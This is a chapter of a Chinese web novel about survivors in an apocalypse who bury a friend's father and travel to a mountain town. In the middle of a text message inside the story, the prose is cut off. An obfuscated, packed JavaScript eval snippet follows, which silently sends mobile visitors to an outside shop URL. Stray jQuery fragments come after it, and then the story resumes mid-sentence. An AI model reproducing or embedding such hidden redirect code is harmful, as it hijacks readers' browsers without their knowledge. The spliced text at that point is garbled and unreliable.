超市正门的大树旁,有三个人影正弯着腰奋力得挖土,她们按照蕾汐的要求将她的父亲埋在那里。

    阮朝芙的身体素质明天没身旁两人的好,差不多挖了十几分钟,她的手掌有些使不上劲,胳膊都有些打颤。

    反观林砚穿着漂亮的碎花裙,两只手向下一顶,铲子轻松插入土地,漆皮的鞋子踩在铲子后沿踩了踩,就将坚实的土层松动,然后一铲又一铲,将土铲到一旁的空地上。

    似是察觉到了阮朝芙投来的视线,林砚抬起了头,鬓角的头发被汗湿此刻贴在脸上。

    “我们来挖坑就好,你到一旁休息去吧。”

    林砚和叶秋奋力得挖着大坑,阮朝芙则是坐在一旁的大石头上,用小刀一点一点在木牌上刻着字。

    第一行刻着“亲爱的父亲蕾凯斯”,第二行刻着“永远被爱着”,最后一行刻着“永不遗忘”以及日期。

    待坑挖好,三人分别从超市里取来不少东西,将蕾凯斯身上的血迹一一清理干净,又整理好衣服后才将他放入了土坑。

    松软的土随着两人的动作撒在蕾凯斯的身上,直至将他淹没,很快这里就形成了一个小土丘,刻好字的木牌被用力插入,这里是他死后的安息之地。

    几瓶冰镇好的啤酒被摆到墓碑的前面,三人一人拿起一瓶,后退半步冲着墓碑微微躬身,随后缓慢的顺着土坡根部周围倾倒酒水,瓶中剩下的小部分则继续放在碑前作为贡品。

    这是蕾汐提出的第二件委托。她说那是她的父亲生前最爱喝的牌子,希望在他死后也有机会喝到。

    第三件委托也是最后一件委托,蕾汐让她们将她父亲的部分遗物和蕾凯斯没有交付给艾洛敏的货物,带到利赫洱交到她们手中。

    叶秋从超市里拿出了几瓶高浓度酒水和布条,简易组装后将其点燃,扔到了超市门口的空地上。

    玻璃瓶碎裂的瞬间,浅蓝色的火焰顺着路面的缝隙跳跃,它的燃烧时间并不长,十几秒钟后只能看见地上冒着热气的水渍。

    “将那些酒都带上吧,之后或许能用到。”

    见识过那东西的威力,阮朝芙自然不会拒绝,虽然自制的简易□□威力不算特别大,但对于一些紧急情况也够用了。

    林砚提出去往利赫洱的路程交由她来开,阮朝芙对此没有怀疑,将蕾凯斯的手机交到她的手中,里面有蕾汐发来的简易地图。

    叶秋从未见过林砚开车,不免有些担心道:“要不还是换我来开?”

    林砚则是依旧拉开驾驶座车门,插入钥匙启动了车辆:“别担心姐姐,你们就在后排好好休息吧。”

    看着林砚自信的表情,阮朝芙径直去到了后排的座位。

    既然是她提出的事情,那相信她可以很好的完成。就像之前一样翻墙进超市一样,她并不像自己怀疑的那样羸弱。这次开车也一定没问题。阮朝芙这么想着。

    叶秋还是有些不放心,从地图上来看,一路上几乎都是盘山公路,要是车速过快遇到对面来车很容易避让不及,虽然眼下可能并不会遇到什么其他的车辆。

    见林砚一脸势在必得的样子,叶秋还是妥协了,只是她并没有到车子的后面,而是拉开副驾驶的门,坐了进去。

    车子行驶的很稳,车子独有的轻微摇晃让阮朝芙的意识坠入了深处。梦里她看见了一个黑色的身影,很熟悉却始终看不清面貌。她想追上去,但无论怎么用力奔跑,始终和那人保持着一段距离。

    倏地,阮朝芙只觉得自己的腿开始不听使唤用不上力,眼前的光景也旋转了起来,这让她瞬间惊醒。

    睁眼的瞬间,她的头撞到一旁的车框上,撞击声并不小,之前震碎的玻璃还没有修好,好在胸口的安全带没让她整个人飞回去。

    叶秋拼命把着方向盘才让车子没有飞出山路防撞护栏。

    “林砚!”

    叶秋的声音是从未有过的生气和严肃,阮朝芙坐在后面捂着脑袋噤了声。

    被点名的林砚讪笑两声,快速将车停到了一个稍微安全些的地方,解开安全带拉开车门默默走到车子第二排的位置。

    叶秋接手了驾驶员的位置,目光冷冷扫过后面的两人。

    阮朝芙调整了一下位置,来到林砚的身后凑近她的耳朵问道:“你不是会开车吗,刚才怎么回事?”

    林砚的眼神飘忽,说话断断续续:“嗯……是会开车,就是盘山公路绕得我有点晕,然后我有点困了……”

    “哦,这样,”阮朝芙点了点头,脸上始终是一副微笑的表情,但笑容不达眼底,“你被剥夺开车的权利了,下次你在敢开车,我就要揍你了。”

    嘀咕的声音传入阮朝芙的耳朵。

    “你又打不过我……”

    “你说什么?”

    林砚脸上的软肉被后排的双手捏住,有点惩罚性质的向外扯了扯。

    “唔,我知道了啦!”

    林砚知道这次是自己理亏,还好刚才叶秋发现及时帮她稳住了方向盘。

    在车子失控的时候,她满脑子只有如果车子真的冲出护栏摔下山去,她究竟能不能把大家治好。

    显然这样的高度摔下去,幸运一点大家从固体变为半液态,不幸的话车子爆炸大家全都尸骨无存。

    发生了这样的事,阮朝芙再没有睡觉的心思,一直紧盯着前面的路段。每到弯口,前方的路段都会被大山遮住,只能小心的转弯时刻注意着前方。

    虽然她并不担心叶秋会犯林砚一样的事,但这样公路对于开惯了笔直马路的人来说,确实需要高度集中的注意力。

    到达利赫洱的时候已是傍晚。火红色的晚霞映在崖下的水中,海浪拍击着岸边的礁石,水面的金光波动,晃的人有些睁不开眼。

    按照蕾汐的短信提示,叶秋将车先开到了一家修车行维修,差不多等了两个小时,越野车的车窗焕然一新。

    将车停在了今晚她们要住的酒店停车场后,三人终于来到了吃饭的地方。

    餐厅是当地著名的网红餐厅,平时想要就餐必须提前半个月预订。但艾洛敏在电脑上小小的操作了一下,将餐厅后台的系统导入了她们的信息,才让她们此时来到这,依旧是最好的观景位。

    餐点全都由艾洛敏远程下单并付款,这算是对于她们的报酬之一。

    金黄色的菠萝炒饭被端上桌,阮朝芙迫不及待得舀了一勺放进嘴里细细品味。虾肉Q弹紧实,米饭粒粒分明却不油腻,酸甜的菠萝果肉不显突兀,脆脆的腰果更添口感。

    阮朝芙咀嚼着,眯着眼睛缓缓摇晃脑袋,脸上尽是满足之色。

    林砚则是一直观察着人来人往的行人,每个人都有说有笑,丝毫看不出这是末日之下,心生疑惑。

    “利赫洱完全没有感染者的迹象,也许是他们坐落于山上的位置还没有被波及到?但发生了这样大的事,他们怎么可能会一点反应都没有,正常人得知外面的情况都会疯狂囤积物资或是转移阵地吧,怎么可能还会有闲心逛街。他们好像一点都不担心会波及到这里。”

    话音刚落,桌上蕾凯斯的手机就收到新消息。

    “卡

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714035|208495||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    密斯用了什么手段让利赫洱没有被那些东西侵入。小镇的通行证需要卡密斯手下专人审核。”

    三人已经习惯艾洛敏和蕾汐用短信的方式与她们交流,虽然被手机时刻监听这一点还是有些无从适应。

    阮朝芙想尽早尽快将东西交给她们好得到“失落的王冠”的情报,但被蕾汐拒绝了。

    “为什么我们不能今晚见面?”

    手机新消息:“我的父亲刚被卡密斯手下的人害死,现在让我出现在大众视野里太招摇了。而且恐怕从你们进入利赫洱的时候就已经被盯上了。”

    手机新消息:“艾洛敏检查你们通行证办理进度的时候发现,你们其中一个叫阮朝芙的人信息被反复调取过。这通常是卡密斯想要下手的信号。所以我们还是趁着明天的狂欢晚会见面吧。”

    看着手机上的消息,叶秋和林砚的视线落到阮朝芙的身上,当事人的脸上倒是没什么表情,依旧一口一个炸虾的往嘴里送。

    她知道身旁的两人有些担心自己,于是还是开口说道:“只是一个男人而已,难道会比我们之前遇到的那些东西还恐怖?”

    “也是,”见阮朝芙似乎真的不为此事担心,叶秋也重新动筷夹了一只虾,“晚会对服装有要求吧。”

    手机新消息:“等你们用完餐,我把具体信息发给你们。”

    三人享受了一下难得的休闲时光。

    这几天发生的事太多了,身边的人总是不断的离开。看着餐厅里有说有笑的人们,叶秋难免有些想念家人。

    柠檬气泡水被轻轻搅动,冰块撞击杯子发出“叮铃当啷”的碰撞声,玻璃杯外壁凝出细小的水珠,其中一颗顺着杯壁流到林砚的手上。

    她很享受这一刻的时光,前所未有的放松让她沉迷其中。如果时间在这里停止,是不是就不会让阮朝芙离开她的身边。

    林砚看着几乎整个人窝进休闲椅的阮朝芙,目光停顿了几秒然后越过她,看向落座后一桌的女人。

    沈清漪,镇民嘴里“叛徒”的其中一人,也是林砚幼时的伙伴之一。

    沈清漪的视线若有若无的落到阮朝芙的背影上。与林砚对上视线也只是轻轻点头,并没有相认交谈的举动。

    以前的回忆突然在林砚脑中涌现。

    还在乌泽希亚小镇时,自从林砚的玩伴减少到只有沈清漪后,两人很长时间都陷入到一种难以言说的恐惧中。

    她们只知道每次镇子一祭祀就会少一人,那么按照顺序该是沈清漪了。

    父亲每次派人去寻找失踪者都以失败告终,林砚害怕会失去沈清漪,于是便一有空就就跟着她,生怕一不留神她也消失了。

    但林砚很快发现,沈清漪在跟踪自己的父亲,她不明白她这样做的目的,只是悄悄跟在后面观察着。

    直到某次,沈清漪跟着竹禾钧进入了他的实验室后,一切都变了。

    等林砚尾随在最后进入实验室后,只看见沈清漪躲在柜子旁死死捂着自己的嘴巴,而自己的父亲正将一个从蛋壳里出现的孩子放入水中清洗。

    那个孩子身后长着一条长长的深绿色尾巴,上面布满了尖刺般的凸起。那个小家伙并不安分,尾巴在水中溅起不少水花,还将旁边的实验器材打翻了不少。

    几种液体混合后发生了小型爆炸,一旁的制作材料被炸的到处都是。也是在那一刻,林砚觉得自己的小腹一痛,用手捂住还能感受到手掌处传来的轻微痛意。

    道具材料混合着腐蚀性液体击中了她的肚子,肾上激素让她没有立刻失去意识。